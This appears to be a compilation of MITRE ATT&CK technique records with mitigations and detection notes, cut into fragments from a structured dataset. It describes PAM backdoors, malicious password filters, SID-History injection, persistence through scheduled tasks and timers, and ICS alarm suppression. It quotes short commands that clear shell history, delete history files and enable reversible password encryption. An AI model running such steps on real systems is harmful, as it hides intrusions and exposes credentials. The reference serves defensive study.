Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. […]\n\n## Reference: ATT&CK T0838 Modify Alarm Settings\n**ATT&CK T0838 Modify Alarm Settings (full record).** Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes.\n\nIf an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur.\n\nIn ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code.\n\n**Classification.** - Tactics: inhibit-response-function\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems. […]"}]}

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Exploit Protection**: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.\n- **Application Isolation and Sandboxing**: Restrict the execution of code to a virtual environment on or in-transit to an endpoint system.\n- **Update Software**: Perform regular software updates to mitigate exploitation risk.

Depending on the device, the modification or addition of this password could prevent any device configuration actions from being accomplished and may require a factory reset or replacement of hardware. These credentials are often built-in features provided by the device vendors as a means to restrict access to management interfaces.\n\nAn adversary with access to valid or hardcoded credentials could change the credential to prevent future authorized device access. Change Credential may be especially damaging when paired with other techniques such as Modify Program, Data Destruction, or Modify Controller Tasking. In these cases, a device’s configuration may be destroyed or include malicious actions for the process environment, which cannot not be removed through normal device configuration actions.\n\nAdditionally, recovery of the device and original configuration may be difficult depending on the features provided by the device. In some cases, these passwords cannot be removed onsite and may require that the device be sent back to the vendor for additional recovery steps.\n\nA chain of incidents occurred in Germany, where adversaries locked operators out of their building automation system (BAS) controllers by enabling a previously unset BCU key.\n\n**Classification.** - Tactics: inhibit-response-function\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Password Policies**: Set and enforce secure password policies for accounts.\n- **Data Backup**: Take and store data backups from end user systems and critical servers.

Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.\n\nAdversaries may abuse application binaries installed on a system for proxy execution of malicious code or domain-specific commands. These commands could be used to target local resources on the device or networked devices within the environment through defined APIs (Execution through API) or application-specific programming languages (e.g., MicroSCADA SCIL). Application binaries may be signed by the developer or generally trusted by the operators, analysts, and monitoring tools accustomed to the environment. These applications may be developed and/or directly provided by the device vendor to enable configuration, management, and operation of their devices without many alternatives.\n\nAdversaries may seek to target these trusted application binaries to execute or send commands without the development of custom malware. For example, adversaries may target a SCADA server binary which has the existing ability to send commands to substation devices, such as through IEC 104 command messages. Proxy execution may still require the development of custom tools to hook into the application binary’s execution.\n\n**Classification.** - Tactics: evasion\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Execution Prevention**: Block execution of code on a system through application control, and/or script blocking.\n\n**Detection strategies and analytics.** - **Detection of System Binary Proxy Execution**\n  - Real-time monitoring identifies a trusted, signed Windows system binary executing with command-line arguments inconsistent with its documented administrative purpose -- specifically arguments indicating payload decoding, remote content execution, or script invocation -- on an Industrial Control System (ICS) host.

Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.\n\nIn Trend Micros manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n\n**Detection strategies and analytics.** - **Detection of Internet Accessible Device**\n  - Real-time monitoring identifies inbound connections to Industrial Control System (ICS) Windows application servers from internet-routed Internet Protocol (IP) addresses.

Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **SSL/TLS Inspection**: Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation. […]"}]}

Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains.

PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is `pam_unix.so`, which retrieves, sets, and verifies account authentication information in `/etc/passwd` and `/etc/shadow`.\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as `pam_unix.so`, can be patched to accept arbitrary adversary supplied values as legitimate credentials.\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.\n\n**Classification.** - Tactics: defense-impairment, persistence, credential-access\n- Platforms: Linux, macOS\n- Sub-technique of: T1556 Modify Authentication Process - Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access.

The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.\n\n**Classification.** - Tactics: defense-impairment, persistence, credential-access\n- Platforms: Network Devices\n- Sub-technique of: T1556 Modify Authentication Process - Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

The `AllowReversiblePasswordEncryption` property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (`G$RADIUSCHAP`) from the Active Directory user-structure `userParameters`\n2. 16 byte randomly-generated value (`G$RADIUSCHAPKEY`) also from `userParameters`\n3. Global LSA secret (`G$MSRADIUSCHAPKEY`)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (`RASSFM.DLL`)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher. In PowerShell, an adversary may make associated changes to user settings using commands similar to `Set-ADUser -AllowReversiblePasswordEncryption $true`.\n\n**Classification.** - Tactics: defense-impairment, persistence, credential-access\n- Platforms: Windows\n- Sub-technique of: T1556 Modify Authentication Process - Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

Processes can be created with the token and resulting security context of another user using features such as `CreateProcessWithTokenW` and `runas`.\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.\n\nWhile this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.

For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1134 Access Token Manipulation - Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators.

[…]\n\n## Reference: ATT&CK T1036.001 Invalid Code Signature\n**ATT&CK T1036.001 Invalid Code Signature (full record).** Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.\n\nUnlike Code Signing, this activity will not result in a valid signature.\n\n**Classification.** - Tactics: stealth\n- Platforms: macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

Security monitoring and control mechanisms may be in place for legitimate utilities adversaries are capable of abusing, including both built-in binaries and tools such as PSExec, AutoHotKey, and IronPython. It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename `rundll32.exe`). An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

[…]\n\n## Reference: ATT&CK T1036.007 Double File Extension\n**ATT&CK T1036.007 Double File Extension (full record).** Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: `File.txt.exe` may render in some views as just `File.txt`). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.\n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named `Evil.txt.exe` may display as `Evil.txt` to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt,.doc, etc.) and image files (.jpg,.gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as.exe,.lnk,.hta, and.scr, often appear as the second extension and true file type.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a.NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.

Systemd timers are unit files with file extension `.timer` that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments. Systemd timers may be activated remotely via the `systemctl` command line utility, which operates over SSH.\n\nEach `.timer` file must have a corresponding `.service` file with the same name, e.g., `example.timer` and `example.service`. `.service` files are Systemd Service unit files that are managed by the systemd system and service manager. Privileged timers are written to `/etc/systemd/system/` and `/usr/lib/systemd/system` while user level are written to `~/.config/systemd/user/`.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence. Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. […]\n\n## Reference: ATT&CK T1053.007 Container Orchestration Job\n**ATT&CK T1053.007 Container Orchestration Job (full record).** Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks. An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Containers\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.

Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

On Android 10 and up, declaration of the `ACCESS_BACKGROUND_LOCATION` permission in an application’s manifest will allow applications to request location access even when the application is running in the background. Some adversaries have utilized integration of Baidu map services to retrieve geographical location once the location access permissions had been obtained.\n\nOn iOS, applications must include the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file depending on the extent of requested access to location information. On iOS 8.0 and up, applications call `requestWhenInUseAuthorization` to request access to location information when the application is in use or `requestAlwaysAuthorization` to request access to location information regardless of whether the application is in use.

This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.\n\nAdversaries can add or insert a path to a malicious script in the `com.apple.loginwindow.plist` file, using the `LoginHook` or `LogoutHook` key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of Launch Daemon and Launch Agent\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1037 Boot or Logon Initialization Scripts - Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.

These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries may establish persistence by adding a malicious binary path or shell commands to `rc.local`, `rc.common`, and other RC scripts specific to the Unix-like distribution. Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems. As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd. This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts. To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS, Linux, Network Devices, ESXi\n- Sub-technique of: T1037 Boot or Logon Initialization Scripts - Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.

Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.\n\nThis is technically a deprecated technology (superseded by Launch Daemon), and thus the appropriate folder, `/Library/StartupItems` isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), `StartupParameters.plist`, reside in the top-level directory.\n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism. Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1037 Boot or Logon Initialization Scripts - Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.

Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (`history -c`) or deleting the bash history file `rm ~/.bash_history`.\n\nAdversaries may also leverage a Network Device CLI on network devices to clear command history data (`clear logging` and/or `clear history`). On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the `PSReadLine` module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe `PSReadLine` command history tracks the commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt` by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.\n\nAdversaries may run the PowerShell command `Clear-History` to flush the entire command history from a current PowerShell session.

Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under:\n\n* `HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default`\n* `HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers`\n\nWindows may also store information about recent RDP connections in files such as `C:\\Users\\\\%username%\\Documents\\Default.rdp` and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`. Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as Disable or Modify System Firewall or tampering to enable Proxy.

Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The `sudo` command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout`, which is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL`. Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. […]\n\n## Reference: ATT&CK T1548.004 Elevated Execution with Prompt\n**ATT&CK T1548.004 Elevated Execution with Prompt (full record).** Adversaries may leverage the `AuthorizationExecuteWithPrivileges` API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.\n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse `AuthorizationExecuteWithPrivileges` to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1548 Abuse Elevation Control Mechanism - Adversaries may circumvent mechanisms designed to control privilege elevation to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection**\n  - Detects abuse of AuthorizationExecuteWithPrivileges API to gain elevated privileges via user credential prompts, typically through invocation of /usr/libexec/security_authtrampoline. Detection involves correlation of API usage, binary reputation, and prompt context. […]\n\n## Reference: ATT&CK T1548.005 Temporary Elevated Cloud Access\n**ATT&CK T1548.005 Temporary Elevated Cloud Access (full record).** Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.\n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts. In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.\n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended. […]"}]}

The endpoint tool detects the abnormal parent-child process relationship and blocks the action.\n\nUnauthorized File Access:\n\n- Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.\n- Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.\n\nAbnormal API Calls:\n\n- Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.\n- Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like `OpenProcess` and `WriteProcessMemory` and terminates the offending process.\n\nExploit Prevention:\n\n- Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.\n- Use Case: A buffer overflow exploit is launched against a vulnerable application. The endpoint detects the anomalous memory write operation and halts the process.\n\n## Data Backup\nData Backup involves taking and securely storing backups of data from end-user systems and critical servers. It ensures that data remains available in the event of system compromise, ransomware attacks, or other disruptions. Backup processes should include hardening backup systems, implementing secure storage solutions, and keeping backups isolated from the corporate network to prevent compromise during active incidents. This mitigation can be implemented through the following measures:\n\nRegular Backup Scheduling:\n- Use Case: Ensure timely and consistent backups of critical data.\n- Implementation: Schedule daily incremental backups and weekly full backups for all critical servers and systems.\n\nImmutable Backups:\n- Use Case: Protect backups from modification or deletion, even by attackers.\n- Implementation: Use write-once-read-many (WORM) storage for backups, preventing ransomware from encrypting or deleting backup files.\n\nBackup Encryption:\n- Use Case: Protect data integrity and confidentiality during transit and storage.\n- Implementation: Encrypt backups using strong encryption protocols (e.g., AES-256) before storing them in local, cloud, or remote locations.\n\nOffsite Backup Storage:\n- Use Case: Ensure data availability during physical disasters or onsite breaches.\n- Implementation: Use cloud-based solutions like AWS S3, Azure Backup, or physical offsite storage to maintain a copy of critical data.\n\nBackup Testing:\n- Use Case: Validate backup integrity and ensure recoverability.\n- Implementation: Regularly test data restoration processes to ensure that backups are not corrupted and can be recovered quickly.\n\n## Principle\nAgainst T1486, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T0873.001 Siemens Project File Format\n**ATT&CK T0873.001 Siemens Project File Format (full record).** Adversaries may infect Siemens PLC project files (i.e., Step 7, WinCC, etc.) to achieve Execution, Persistence, and Lateral Movement objectives. Adversaries may modify an existing project file or bring their own project files into the environment.\n\nThe ability for an adversary to deploy an infected project file relies on access to a workstation with Siemens PLC programming software installed on it from which a program download can be performed.\n\n**Classification.** - Tactics: persistence\n- Platforms: Windows, Linux\n- Sub-technique of: 